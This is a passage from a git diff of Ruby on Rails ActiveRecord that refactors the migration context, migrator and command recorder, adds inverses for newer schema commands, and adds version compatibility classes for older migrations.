+          raise InvalidMigrationTimestampError.new(version, name)
+        end
+        version = schema_migration.normalize_migration_number(version)
+        status = db_list.delete(version) ? "up" : "down"
+        [status, version, (name + scope).humanize]
       end
 
-      def any_migrations?
-        migrations(migrations_paths).any?
+      db_list.map! do |version|
+        ["up", version, "********** NO FILE **********"]
       end
 
-      def last_migration #:nodoc:
-        migrations(migrations_paths).last || NullMigration.new
+      (db_list + file_list).sort_by { |_, version, _| version.to_i }
+    end
+
+    def current_environment # :nodoc:
+      ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+    end
+
+    def protected_environment? # :nodoc:
+      ActiveRecord::Base.protected_environments.include?(last_stored_environment) if last_stored_environment
+    end
+
+    def last_stored_environment # :nodoc:
+      internal_metadata = connection_pool.internal_metadata
+      return nil unless internal_metadata.enabled?
+      return nil if current_version == 0
+      raise NoEnvironmentInSchemaError unless internal_metadata.table_exists?
+
+      environment = internal_metadata[:environment]
+      raise NoEnvironmentInSchemaError unless environment
+      environment
+    end
+
+    private
+      def connection
+        ActiveRecord::Tasks::DatabaseTasks.migration_connection
       end
 
-      def migrations_paths
-        @migrations_paths ||= ["db/migrate"]
-        # just to not break things if someone uses: migrations_path = some_string
-        Array(@migrations_paths)
+      def connection_pool
+        ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool
       end
 
-      def match_to_migration_filename?(filename) # :nodoc:
-        Migration::MigrationFilenameRegexp.match?(File.basename(filename))
+      def migration_files
+        paths = Array(migrations_paths)
+        Dir[*paths.flat_map { |path| "#{path}/**/[0-9]*_*.rb" }]
       end
 
-      def parse_migration_filename(filename) # :nodoc:
+      def parse_migration_filename(filename)
         File.basename(filename).scan(Migration::MigrationFilenameRegexp).first
       end
 
-      def migrations(paths)
-        paths = Array(paths)
+      def validate_timestamp?
+        ActiveRecord.timestamped_migrations && ActiveRecord.validate_migration_timestamps
+      end
 
-        files = Dir[*paths.map { |p| "#{p}/**/[0-9]*_*.rb" }]
+      def valid_migration_timestamp?(version)
+        version.to_i < (Time.now.utc + 1.day).strftime("%Y%m%d%H%M%S").to_i
+      end
 
-        migrations = files.map do |file|
-          version, name, scope = parse_migration_filename(file)
-          raise IllegalMigrationNameError.new(file) unless version
-          version = version.to_i
-          name = name.camelize
+      def move(direction, steps)
+        migrator = Migrator.new(direction, migrations, schema_migration, internal_metadata)
 
-          MigrationProxy.new(name, version, file, scope)
+        if current_version != 0 && !migrator.current_migration
+          raise UnknownMigrationVersionError.new(current_version)
         end
 
-        migrations.sort_by(&:version)
+        start_index =
+          if current_version == 0
+            0
+          else
+            migrator.migrations.index(migrator.current_migration)
+          end
+
+        finish = migrator.migrations[start_index + steps]
+        version = finish ? finish.version : 0
+        public_send(direction, version)
       end
+  end
 
-      private
+  class Migrator # :nodoc:
+    class << self
+      attr_accessor :migrations_paths
 
-      def move(direction, migrations_paths, steps)
-        migrator = new(direction, migrations(migrations_paths))
-        start_index = migrator.migrations.index(migrator.current_migration)
+      # For cases where a table doesn't exist like loading from schema cache
+      def current_version
+        connection_pool = ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool
+        schema_migration = SchemaMigration.new(connection_pool)
+        internal_metadata = InternalMetadata.new(connection_pool)
 
-        if start_index
-          finish = migrator.migrations[start_index + steps]
-          version = finish ? finish.version : 0
-          send(direction, migrations_paths, version)
-        end
+        MigrationContext.new(migrations_paths, schema_migration, internal_metadata).current_version
       end
     end
 
-    def initialize(direction, migrations, target_version = nil)
-      raise StandardError.new("This database does not yet support migrations") unless Base.connection.supports_migrations?
+    self.migrations_paths = ["db/migrate"]
 
+    def initialize(direction, migrations, schema_migration, internal_metadata, target_version = nil)
       @direction         = direction
       @target_version    = target_version
       @migrated_versions = nil
       @migrations        = migrations
+      @schema_migration  = schema_migration
+      @internal_metadata = internal_metadata
 
       validate(@migrations)
 
-      ActiveRecord::SchemaMigration.create_table
-      ActiveRecord::InternalMetadata.create_table
+      @schema_migration.create_table
+      @internal_metadata.create_table
     end
 
     def current_version
@@ -1161,19 +1491,21 @@ def migrated
     end
 
     def load_migrated
-      @migrated_versions = Set.new(self.class.get_all_versions)
+      @migrated_versions = Set.new(@schema_migration.integer_versions)
     end
 
     private
+      def connection
+        ActiveRecord::Tasks::DatabaseTasks.migration_connection
+      end
 
       # Used for running a specific migration.
       def run_without_lock
         migration = migrations.detect { |m| m.version == @target_version }
         raise UnknownMigrationVersionError.new(@target_version) if migration.nil?
-        result = execute_migration_in_transaction(migration, @direction)
 
         record_environment
-        result
+        execute_migration_in_transaction(migration)
       end
 
       # Used for running multiple migrations up to or down to a certain value.
@@ -1182,18 +1514,15 @@ def migrate_without_lock
           raise UnknownMigrationVersionError.new(@target_version)
         end
 
-        result = runnable.each do |migration|
-          execute_migration_in_transaction(migration, @direction)
-        end
-
         record_environment
-        result
+        runnable.each(&method(:execute_migration_in_transaction))
       end
 
       # Stores the current environment in the database.
       def record_environment
         return if down?
-        ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+
+        @internal_metadata[:environment] = connection.pool.db_config.env_name
       end
 
       def ran?(migration)
@@ -1202,21 +1531,22 @@ def ran?(migration)
 
       # Return true if a valid version is not provided.
       def invalid_target?
-        !target && @target_version && @target_version > 0
+        @target_version && @target_version != 0 && !target
       end
 
-      def execute_migration_in_transaction(migration, direction)
+      def execute_migration_in_transaction(migration)
         return if down? && !migrated.include?(migration.version.to_i)
         return if up?   &&  migrated.include?(migration.version.to_i)
 
-        Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger
+        message = up? ? "Migrating to" : "Reverting"
+        Base.logger.info "#{message} #{migration.name} (#{migration.version})" if Base.logger
 
         ddl_transaction(migration) do
-          migration.migrate(direction)
+          migration.migrate(@direction)
           record_version_state_after_migrating(migration.version)
         end
       rescue => e
-        msg = "An error has occurred, "
+        msg = +"An error has occurred, "
         msg << "this and " if use_transaction?(migration)
         msg << "all later migrations canceled:\n\n#{e}"
         raise StandardError, msg, e.backtrace
@@ -1235,40 +1565,23 @@ def start
       end
 
       def validate(migrations)
-        name , = migrations.group_by(&:name).find { |_, v| v.length > 1 }
+        name, = migrations.group_by(&:name).find { |_, v| v.length > 1 }
         raise DuplicateMigrationNameError.new(name) if name
 
-        version , = migrations.group_by(&:version).find { |_, v| v.length > 1 }
+        version, = migrations.group_by(&:version).find { |_, v| v.length > 1 }
         raise DuplicateMigrationVersionError.new(version) if version
       end
 
       def record_version_state_after_migrating(version)
         if down?
           migrated.delete(version)
-          ActiveRecord::SchemaMigration.where(version: version.to_s).delete_all
+          @schema_migration.delete_version(version.to_s)
         else
           migrated << version
-          ActiveRecord::SchemaMigration.create!(version: version.to_s)
+          @schema_migration.create_version(version.to_s)
         end
       end
 
-      def self.last_stored_environment
-        return nil if current_version == 0
-        raise NoEnvironmentInSchemaError unless ActiveRecord::InternalMetadata.table_exists?
-
-        environment = ActiveRecord::InternalMetadata[:environment]
-        raise NoEnvironmentInSchemaError unless environment
-        environment
-      end
-
-      def self.current_environment
-        ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
-      end
-
-      def self.protected_environment?
-        ActiveRecord::Base.protected_environments.include?(last_stored_environment) if last_stored_environment
-      end
-
       def up?
         @direction == :up
       end
@@ -1278,35 +1591,40 @@ def down?
       end
 
       # Wrap the migration in a transaction only if supported by the adapter.
-      def ddl_transaction(migration)
+      def ddl_transaction(migration, &block)
         if use_transaction?(migration)
-          Base.transaction { yield }
+          connection.transaction(&block)
         else
           yield
         end
       end
 
       def use_transaction?(migration)
-        !migration.disable_ddl_transaction && Base.connection.supports_ddl_transactions?
+        !migration.disable_ddl_transaction && connection.supports_ddl_transactions?
       end
 
       def use_advisory_lock?
-        Base.connection.supports_advisory_locks?
+        connection.advisory_locks_enabled?
       end
 
       def with_advisory_lock
         lock_id = generate_migrator_advisory_lock_id
-        got_lock = Base.connection.get_advisory_lock(lock_id)
+
+        got_lock = connection.get_advisory_lock(lock_id)
         raise ConcurrentMigrationError unless got_lock
         load_migrated # reload schema_migrations to be sure it wasn't changed by another process before we got the lock
         yield
       ensure
-        Base.connection.release_advisory_lock(lock_id) if got_lock
+        if got_lock && !connection.release_advisory_lock(lock_id)
+          raise ConcurrentMigrationError.new(
+            ConcurrentMigrationError::RELEASE_LOCK_FAILED_MESSAGE
+          )
+        end
       end
 
       MIGRATOR_SALT = 2053462845
       def generate_migrator_advisory_lock_id
-        db_name_hash = Zlib.crc32(Base.connection.current_database)
+        db_name_hash = Zlib.crc32(connection.current_database)
         MIGRATOR_SALT * db_name_hash
       end
   end
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index 03103bba98419..ccf0319e881e1 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -1,39 +1,67 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class Migration
-    # <tt>ActiveRecord::Migration::CommandRecorder</tt> records commands done during
+    # = \Migration Command Recorder
+    #
+    # +ActiveRecord::Migration::CommandRecorder+ records commands done during
     # a migration and knows how to reverse those commands. The CommandRecorder
     # knows how to invert the following commands:
     #
     # * add_column
     # * add_foreign_key
+    # * add_check_constraint
+    # * add_exclusion_constraint
+    # * add_unique_constraint
     # * add_index
     # * add_reference
     # * add_timestamps
-    # * change_column
-    # * change_column_default (must supply a :from and :to option)
+    # * change_column_default (must supply a +:from+ and +:to+ option)
     # * change_column_null
+    # * change_column_comment (must supply a +:from+ and +:to+ option)
+    # * change_table_comment (must supply a +:from+ and +:to+ option)
+    # * create_enum
     # * create_join_table
+    # * create_virtual_table
     # * create_table
     # * disable_extension
+    # * drop_enum (must supply a list of values)
     # * drop_join_table
+    # * drop_virtual_table (must supply options)
     # * drop_table (must supply a block)
     # * enable_extension
     # * remove_column (must supply a type)
-    # * remove_columns (must specify at least one column name or more)
+    # * remove_columns (must supply a +:type+ option)
     # * remove_foreign_key (must supply a second table)
+    # * remove_check_constraint
+    # * remove_exclusion_constraint
+    # * remove_unique_constraint
     # * remove_index
     # * remove_reference
     # * remove_timestamps
     # * rename_column
+    # * rename_enum
+    # * rename_enum_value (must supply a +:from+ and +:to+ option)
     # * rename_index
     # * rename_table
+    # * enable_index
+    # * disable_index
     class CommandRecorder
-      ReversibleAndIrreversibleMethods = [:create_table, :create_join_table, :rename_table, :add_column, :remove_column,
+      ReversibleAndIrreversibleMethods = [
+        :create_table, :create_join_table, :rename_table, :add_column, :remove_column,
         :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
         :change_column_default, :add_reference, :remove_reference, :transaction,
         :drop_join_table, :drop_table, :execute_block, :enable_extension, :disable_extension,
         :change_column, :execute, :remove_columns, :change_column_null,
-        :add_foreign_key, :remove_foreign_key
+        :add_foreign_key, :remove_foreign_key,
+        :change_column_comment, :change_table_comment,
+        :add_check_constraint, :remove_check_constraint,
+        :add_exclusion_constraint, :remove_exclusion_constraint,
+        :add_unique_constraint, :remove_unique_constraint,
+        :create_enum, :drop_enum, :rename_enum, :add_enum_value, :rename_enum_value,
+        :create_schema, :drop_schema,
+        :create_virtual_table, :drop_virtual_table,
+        :enable_index, :disable_index
       ]
       include JoinTable
 
@@ -79,11 +107,16 @@ def record(*command, &block)
       #   recorder.inverse_of(:rename_table, [:old, :new])
       #   # => [:rename_table, [:new, :old]]
       #
+      # If the inverse of a command requires several commands, returns array of commands.
+      #
+      #   recorder.inverse_of(:remove_columns, [:some_table, :foo, :bar, type: :string])
+      #   # => [[:add_column, :some_table, :foo, :string], [:add_column, :some_table, :bar, :string]]
+      #
       # This method will raise an +IrreversibleMigration+ exception if it cannot
       # invert the +command+.
       def inverse_of(command, args, &block)
         method = :"invert_#{command}"
-        raise IrreversibleMigration, <<-MSG.strip_heredoc unless respond_to?(method, true)
+        raise IrreversibleMigration, <<~MSG unless respond_to?(method, true)
           This migration uses #{command}, which is not automatically reversible.
           To make the migration reversible you can either:
           1. Define #up and #down methods in place of the #change method.
@@ -92,36 +125,54 @@ def inverse_of(command, args, &block)
         send(method, args, &block)
       end
 
-      def respond_to_missing?(*args) # :nodoc:
-        super || delegate.respond_to?(*args)
-      end
-
       ReversibleAndIrreversibleMethods.each do |method|
         class_eval <<-EOV, __FILE__, __LINE__ + 1
           def #{method}(*args, &block)          # def create_table(*args, &block)
             record(:"#{method}", args, &block)  #   record(:create_table, args, &block)
           end                                   # end
         EOV
+        ruby2_keywords(method)
       end
       alias :add_belongs_to :add_reference
       alias :remove_belongs_to :remove_reference
 
-      def change_table(table_name, options = {}) # :nodoc:
-        yield delegate.update_table_definition(table_name, self)
+      def change_table(table_name, **options) # :nodoc:
+        if delegate.supports_bulk_alter? && options[:bulk]
+          recorder = self.class.new(self.delegate)
+          recorder.reverting = @reverting
+          yield recorder.delegate.update_table_definition(table_name, recorder)
+          commands = recorder.commands
+          @commands << [:change_table, [table_name], -> t { bulk_change_table(table_name, commands) }]
+        else
+          yield delegate.update_table_definition(table_name, self)
+        end
       end
 
-      private
+      def replay(migration)
+        commands.each do |cmd, args, block|
+          migration.send(cmd, *args, &block)
+        end
+      end
 
-        module StraightReversions
+      private
+        module StraightReversions # :nodoc:
           private
-            { transaction:       :transaction,
+            {
               execute_block:     :execute_block,
               create_table:      :drop_table,
               create_join_table: :drop_join_table,
               add_column:        :remove_column,
+              add_index:         :remove_index,
               add_timestamps:    :remove_timestamps,
               add_reference:     :remove_reference,
-              enable_extension:  :disable_extension
+              add_foreign_key:   :remove_foreign_key,
+              add_check_constraint: :remove_check_constraint,
+              add_exclusion_constraint: :remove_exclusion_constraint,
+              add_unique_constraint: :remove_unique_constraint,
+              enable_extension:  :disable_extension,
+              create_enum:       :drop_enum,
+              create_schema:     :drop_schema,
+              create_virtual_table: :drop_virtual_table
             }.each do |cmd, inv|
               [[inv, cmd], [cmd, inv]].uniq.each do |method, inverse|
                 class_eval <<-EOV, __FILE__, __LINE__ + 1
@@ -135,15 +186,56 @@ def invert_#{method}(args, &block)    # def invert_create_table(args, &block)
 
         include StraightReversions
 
+        def invert_enable_index(args)
+          table_name, index_name = args
+          [:disable_index, [table_name, index_name]]
+        end
+
+        def invert_disable_index(args)
+          table_name, index_name = args
+          [:enable_index, [table_name, index_name]]
+        end
+
+        def invert_transaction(args, &block)
+          sub_recorder = CommandRecorder.new(delegate)
+          sub_recorder.revert(&block)
+
+          invertions_proc = proc {
+            sub_recorder.replay(self)
+          }
+
+          [:transaction, args, invertions_proc]
+        end
+
+        def invert_create_table(args, &block)
+          if args.last.is_a?(Hash)
+            args.last.delete(:if_not_exists)
+          end
+          super
+        end
+
         def invert_drop_table(args, &block)
-          if args.size == 1 && block == nil
+          options = args.extract_options!
+          options.delete(:if_exists)
+
+          if args.size > 1
+            raise ActiveRecord::IrreversibleMigration, "To avoid mistakes, drop_table is only reversible if given a single table name."
+          end
+
+          if args.size == 1 && options == {} && block == nil
             raise ActiveRecord::IrreversibleMigration, "To avoid mistakes, drop_table is only reversible if given options or a block (can be empty)."
           end
-          super
+
+          args << options unless options.empty?
+
+          super(args, &block)
         end
 
         def invert_rename_table(args)
-          [:rename_table, args.reverse]
+          old_name, new_name, options = args
+          args = [new_name, old_name]
+          args << options if options
+          [:rename_table, args]
         end
 
         def invert_remove_column(args)
@@ -151,44 +243,49 @@ def invert_remove_column(args)
           super
         end
 
+        def invert_remove_columns(args)
+          unless args[-1].is_a?(Hash) && args[-1].has_key?(:type)
+            raise ActiveRecord::IrreversibleMigration, "remove_columns is only reversible if given a type."
+          end
+
+          [:add_columns, args]
+        end
+
         def invert_rename_index(args)
-          [:rename_index, [args.first] + args.last(2).reverse]
+          table_name, old_name, new_name = args
+          [:rename_index, [table_name, new_name, old_name]]
         end
 
         def invert_rename_column(args)
-          [:rename_column, [args.first] + args.last(2).reverse]
+          table_name, old_name, new_name = args
+          [:rename_column, [table_name, new_name, old_name]]
         end
 
-        def invert_add_index(args)
-          table, columns, options = *args
-          options ||= {}
-
-          index_name = options[:name]
-          options_hash = index_name ? { name: index_name } : { column: columns }
+        def invert_remove_index(args)
+          options = args.extract_options!
+          table, columns = args
 
-          [:remove_index, [table, options_hash]]
-        end
+          columns ||= options.delete(:column)
 
-        def invert_remove_index(args)
-          table, options_or_column = *args
-          if (options = options_or_column).is_a?(Hash)
-            unless options[:column]
-              raise ActiveRecord::IrreversibleMigration, "remove_index is only reversible if given a :column option."
-            end
-            options = options.dup
-            [:add_index, [table, options.delete(:column), options]]
-          elsif (column = options_or_column).present?
-            [:add_index, [table, column]]
+          unless columns
+            raise ActiveRecord::IrreversibleMigration, "remove_index is only reversible if given a :column option."
           end
+
+          options.delete(:if_exists)
+
+          args = [table, columns]
+          args << options unless options.empty?
+
+          [:add_index, args]
         end
 
         alias :invert_add_belongs_to :invert_add_reference
         alias :invert_remove_belongs_to :invert_remove_reference
 
         def invert_change_column_default(args)
-          table, column, options = *args
+          table, column, options = args
 
-          unless options && options.is_a?(Hash) && options.has_key?(:from) && options.has_key?(:to)
+          unless options.is_a?(Hash) && options.has_key?(:from) && options.has_key?(:to)
             raise ActiveRecord::IrreversibleMigration, "change_column_default is only reversible if given a :from and :to option."
           end
 
@@ -201,34 +298,121 @@ def invert_change_column_null(args)
         end
 
         def invert_add_foreign_key(args)
-          from_table, to_table, add_options = args
-          add_options ||= {}
-
-          if add_options[:name]
-            options = { name: add_options[:name] }
-          elsif add_options[:column]
-            options = { column: add_options[:column] }
-          else
-            options = to_table
-          end
-
-          [:remove_foreign_key, [from_table, options]]
+          args.last.delete(:validate) if args.last.is_a?(Hash)
+          super
         end
 
         def invert_remove_foreign_key(args)
-          from_table, to_table, remove_options = args
-          raise ActiveRecord::IrreversibleMigration, "remove_foreign_key is only reversible if given a second table" if to_table.nil? || to_table.is_a?(Hash)
+          options = args.extract_options!
+          from_table, to_table = args
+
+          to_table ||= options.delete(:to_table)
+
+          raise ActiveRecord::IrreversibleMigration, "remove_foreign_key is only reversible if given a second table" if to_table.nil?
 
           reversed_args = [from_table, to_table]
-          reversed_args << remove_options if remove_options
+          reversed_args << options unless options.empty?
 
           [:add_foreign_key, reversed_args]
         end
 
+        def invert_change_column_comment(args)
+          table, column, options = args
+
+          unless options.is_a?(Hash) && options.has_key?(:from) && options.has_key?(:to)
+            raise ActiveRecord::IrreversibleMigration, "change_column_comment is only reversible if given a :from and :to option."
+          end
+
+          [:change_column_comment, [table, column, from: options[:to], to: options[:from]]]
+        end
+
+        def invert_change_table_comment(args)
+          table, options = args
+
+          unless options.is_a?(Hash) && options.has_key?(:from) && options.has_key?(:to)
+            raise ActiveRecord::IrreversibleMigration, "change_table_comment is only reversible if given a :from and :to option."
+          end
+
+          [:change_table_comment, [table, from: options[:to], to: options[:from]]]
+        end
+
+        def invert_add_check_constraint(args)
+          if (options = args.last).is_a?(Hash)
+            options.delete(:validate)
+            options[:if_exists] = options.delete(:if_not_exists) if options.key?(:if_not_exists)
+          end
+          super
+        end
+
+        def invert_remove_check_constraint(args)
+          raise ActiveRecord::IrreversibleMigration, "remove_check_constraint is only reversible if given an expression." if args.size < 2
+
+          if (options = args.last).is_a?(Hash)
+            options[:if_not_exists] = options.delete(:if_exists) if options.key?(:if_exists)
+          end
+          super
+        end
+
+        def invert_remove_exclusion_constraint(args)
+          raise ActiveRecord::IrreversibleMigration, "remove_exclusion_constraint is only reversible if given an expression." if args.size < 2
+          super
+        end
+
+        def invert_add_unique_constraint(args)
+          options = args.dup.extract_options!
+
+          raise ActiveRecord::IrreversibleMigration, "add_unique_constraint is not reversible if given an using_index." if options[:using_index]
+          super
+        end
+
+        def invert_remove_unique_constraint(args)
+          _table, columns = args.dup.tap(&:extract_options!)
+
+          raise ActiveRecord::IrreversibleMigration, "remove_unique_constraint is only reversible if given an column_name." if columns.blank?
+          super
+        end
+
+        def invert_drop_enum(args)
+          _enum, values = args.dup.tap(&:extract_options!)
+          raise ActiveRecord::IrreversibleMigration, "drop_enum is only reversible if given a list of enum values." unless values
+          super
+        end
+
+        def invert_rename_enum(args)
+          name, new_name, = args
+
+          if new_name.is_a?(Hash) && new_name.key?(:to)
+            new_name = new_name[:to]
+          end
+
+          [:rename_enum, [new_name, name]]
+        end
+
+        def invert_rename_enum_value(args)
+          type_name, options = args
+
+          unless options.is_a?(Hash) && options.has_key?(:from) && options.has_key?(:to)
+            raise ActiveRecord::IrreversibleMigration, "rename_enum_value is only reversible if given a :from and :to option."
+          end
+
+          options[:to], options[:from] = options[:from], options[:to]
+          [:rename_enum_value, [type_name, options]]
+        end
+
+        def invert_drop_virtual_table(args)
+          _enum, values = args.dup.tap(&:extract_options!)
+          raise ActiveRecord::IrreversibleMigration, "drop_virtual_table is only reversible if given options." unless values
+          super
+        end
+
+        def respond_to_missing?(method, _)
+          super || delegate.respond_to?(method)
+        end
+
         # Forwards any missing method call to the \target.
-        def method_missing(method, *args, &block)
-          if @delegate.respond_to?(method)
-            @delegate.send(method, *args, &block)
+        def method_missing(method, ...)
+          if delegate.respond_to?(method)
+            delegate.public_send(method, ...)
           else
             super
           end
diff --git a/activerecord/lib/active_record/migration/compatibility.rb b/activerecord/lib/active_record/migration/compatibility.rb
index 85032ce4703d9..2d406738fef1d 100644
--- a/activerecord/lib/active_record/migration/compatibility.rb
+++ b/activerecord/lib/active_record/migration/compatibility.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class Migration
     module Compatibility # :nodoc: all
@@ -11,65 +13,419 @@ def self.find(version)
         const_get(name)
       end
 
-      V5_1 = Current
+      # This file exists to ensure that old migrations run the same way they did before a Rails upgrade.
+      # e.g. if you write a migration on Rails 6.1, then upgrade to Rails 7, the migration should do the same thing to your
+      # database as it did when you were running Rails 6.1
+      #
+      # "Current" is an alias for `ActiveRecord::Migration`, it represents the current Rails version.
+      # New migration functionality that will never be backward compatible should be added directly to `ActiveRecord::Migration`.
+      #
+      # There are classes for each prior Rails version. Each class descends from the *next* Rails version, so:
+      # 5.2 < 6.0 < 6.1 < 7.0 < 7.1 < 7.2 < 8.0 < 8.1 < 8.2
+      #
+      # If you are introducing new migration functionality that should only apply from Rails 7 onward, then you should
+      # find the class that immediately precedes it (6.1), and override the relevant migration methods to undo your changes.
+      #
+      # For example, Rails 6 added a default value for the `precision` option on datetime columns. So in this file, the `V5_2`
+      # class sets the value of `precision` to `nil` if it's not explicitly provided. This way, the default value will not apply
+      # for migrations written for 5.2, but will for migrations written for 6.0.
+      V8_2 = Current
+
+      class V8_1 < V8_2
+      end
+
+      class V8_0 < V8_1
+        module RemoveForeignKeyColumnMatch
+          def remove_foreign_key(*args, **options)
+            options[:_skip_column_match] = true
+            super
+          end
+        end
+
+        module TableDefinition
+          def remove_foreign_key(to_table = nil, **options)
+            options[:_skip_column_match] = true
+            super
+          end
+        end
+
+        include RemoveForeignKeyColumnMatch
+
+        private
+          def compatible_table_definition(t)
+            t.singleton_class.prepend(TableDefinition)
+            super
+          end
+      end
+
+      class V7_2 < V8_0
+      end
+
+      class V7_1 < V7_2
+      end
+
+      class V7_0 < V7_1
+        module LegacyIndexName
+          private
+            def legacy_index_name(table_name, options)
+              if Hash === options
+                if options[:column]
+                  "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
+                elsif options[:name]
+                  options[:name]
+                else
+                  raise ArgumentError, "You must specify the index name"
+                end
+              else
+                legacy_index_name(table_name, index_name_options(options))
+              end
+            end
+
+            def index_name_options(column_names)
+              if expression_column_name?(column_names)
+                column_names = column_names.scan(/\w+/).join("_")
+              end
+
+              { column: column_names }
+            end
+
+            def expression_column_name?(column_name)
+              column_name.is_a?(String) && /\W/.match?(column_name)
+            end
+        end
+
+        module TableDefinition
+          include LegacyIndexName
+
+          def column(name, type, **options)
+            options[:_skip_validate_options] = true
+            super
+          end
+
+          def change(name, type, **options)
+            options[:_skip_validate_options] = true
+            super
+          end
+
+          def index(column_name, **options)
+            options[:name] = legacy_index_name(name, column_name) if options[:name].nil?
+            super
+          end
+
+          def references(*args, **options)
+            options[:_skip_validate_options] = true
+            super
+          end
+
+          private
+            def raise_on_if_exist_options(options)
+            end
+        end
+
+        include LegacyIndexName
+
+        def add_column(table_name, column_name, type, **options)
+          options[:_skip_validate_options] = true
+          super
+        end
+
+        def add_index(table_name, column_name, **options)
+          options[:name] = legacy_index_name(table_name, column_name) if options[:name].nil?
+          super
+        end
+
+        def add_reference(table_name, ref_name, **options)
+          options[:_skip_validate_options] = true
+          super
+        end
+        alias :add_belongs_to :add_reference
+
+        def create_table(table_name, **options)
+          options[:_uses_legacy_table_name] = true
+          options[:_skip_validate_options] = true
+
+          super
+        end
+
+        def rename_table(table_name, new_name, **options)
+          options[:_uses_legacy_table_name] = true
+          options[:_uses_legacy_index_name] = true
+          super
+        end
+
+        def change_column(table_name, column_name, type, **options)
+          options[:_skip_validate_options] = true
+          if connection.adapter_name == "Mysql2" || connection.adapter_name == "Trilogy"
+            options[:collation] ||= :no_collation
+          end
+          super
+        end
+
+        def change_column_null(table_name, column_name, null, default = nil)
+          super(table_name, column_name, !!null, default)
+        end
+
+        def disable_extension(name, **options)
+          if connection.adapter_name == "PostgreSQL"
+            options[:force] = :cascade
+          end
+          super
+        end
+
+        def add_foreign_key(from_table, to_table, **options)
+          if connection.adapter_name == "PostgreSQL" && options[:deferrable] == true
+            options[:deferrable] = :immediate
+          end
+          super
+        end
+
+        private
+          def compatible_table_definition(t)
+            t.singleton_class.prepend(TableDefinition)
+            super
+          end
+      end
+
+      class V6_1 < V7_0
+        class PostgreSQLCompat
+          def self.compatible_timestamp_type(type, connection)
+            if connection.adapter_name == "PostgreSQL"
+              # For Rails <= 6.1, :datetime was aliased to :timestamp
+              # See: https://github.com/rails/rails/blob/v6.1.3.2/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb#L108
+              # From Rails 7 onwards, you can define what :datetime resolves to (the default is still :timestamp)
+              # See `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type`
+              type.to_sym == :datetime ? :timestamp : type
+            else
+              type
+            end
+          end
+        end
+
+        def add_column(table_name, column_name, type, **options)
+          if type == :datetime
+            options[:precision] ||= nil
+          end
+
+          type = PostgreSQLCompat.compatible_timestamp_type(type, connection)
+          super
+        end
+
+        def change_column(table_name, column_name, type, **options)
+          if type == :datetime
+            options[:precision] ||= nil
+          end
+
+          type = PostgreSQLCompat.compatible_timestamp_type(type, connection)
+          super
+        end
+
+        module TableDefinition
+          def new_column_definition(name, type, **options)
+            type = PostgreSQLCompat.compatible_timestamp_type(type, @conn)
+            super
+          end
+
+          def change(name, type, index: nil, **options)
+            options[:precision] ||= nil
+            super
+          end
+
+          def column(name, type, index: nil, **options)
+            options[:precision] ||= nil
+            super
+          end
+
+          private
+            def raise_on_if_exist_options(options)
+            end
+        end
+
+        private
+          def compatible_table_definition(t)
+            t.singleton_class.prepend(TableDefinition)
+            super
+          end
+      end
+
+      class V6_0 < V6_1
+        class ReferenceDefinition < ConnectionAdapters::ReferenceDefinition
+          def index_options(table_name)
+            as_options(index)
+          end
+        end
+
+        module TableDefinition
+          def references(*args, **options)
+            options[:_uses_legacy_reference_index_name] = true
+            super
+          end
+          alias :belongs_to :references
+
+          def column(name, type, index: nil, **options)
+            options[:precision] ||= nil
+            super
+          end
+
+          private
+            def raise_on_if_exist_options(options)
+            end
+        end
+
+        def add_reference(table_name, ref_name, **options)
+          if connection.adapter_name == "SQLite"
+            options[:type] = :integer
+          end
+
+          options[:_uses_legacy_reference_index_name] = true
+          super
+        end
+        alias :add_belongs_to :add_reference
+
+        private
+          def compatible_table_definition(t)
+            t.singleton_class.prepend(TableDefinition)
+            super
+          end
+      end
+
+      class V5_2 < V6_0
+        module TableDefinition
+          def timestamps(**options)
+            options[:precision] ||= nil
+            super
+          end
+
+          def column(name, type, index: nil, **options)
+            options[:precision] ||= nil
+            super
+          end
+
+          private
+            def raise_on_if_exist_options(options)
+            end
+
+            def raise_on_duplicate_column(name)
+            end
+        end
+
+        module CommandRecorder
+          def invert_transaction(args, &block)
+            [:transaction, args, block]
+          end
+
+          def invert_change_column_comment(args)
+            [:change_column_comment, args]
+          end
+
+          def invert_change_table_comment(args)
+            [:change_table_comment, args]
+          end
+        end
+
+        def add_timestamps(table_name, **options)
+          options[:precision] ||= nil
+          super
+        end
+
+        private
+          def compatible_table_definition(t)
+            t.singleton_class.prepend(TableDefinition)
+            super
+          end
+
+          def command_recorder
+            recorder = super
+            recorder.singleton_class.prepend(CommandRecorder)
+            recorder
+          end
+      end
+
+      class V5_1 < V5_2
+        def change_column(table_name, column_name, type, **options)
+          if connection.adapter_name == "PostgreSQL"
+            super(table_name, column_name, type, **options.except(:default, :null, :comment))
+            connection.change_column_default(table_name, column_name, options[:default]) if options.key?(:default)
+            connection.change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
+            connection.change_column_comment(table_name, column_name, options[:comment]) if options.key?(:comment)
+          else
+            super
+          end
+        end
+
+        def create_table(table_name, **options)
+          if connection.adapter_name == "Mysql2" || connection.adapter_name == "Trilogy"
+            super(table_name, options: "ENGINE=InnoDB", **options)
+          else
+            super
+          end
+        end
+      end
 
       class V5_0 < V5_1
         module TableDefinition
+          def primary_key(name, type = :primary_key, **options)
+            type = :integer if type == :primary_key
+            super
+          end
+
           def references(*args, **options)
             super(*args, type: :integer, **options)
           end
           alias :belongs_to :references
+
+          private
+            def raise_on_if_exist_options(options)
+            end
         end
 
-        def create_table(table_name, options = {})
-          if adapter_name == "PostgreSQL"
+        def create_table(table_name, **options)
+          if connection.adapter_name == "PostgreSQL"
             if options[:id] == :uuid && !options.key?(:default)
               options[:default] = "uuid_generate_v4()"
             end
           end
 
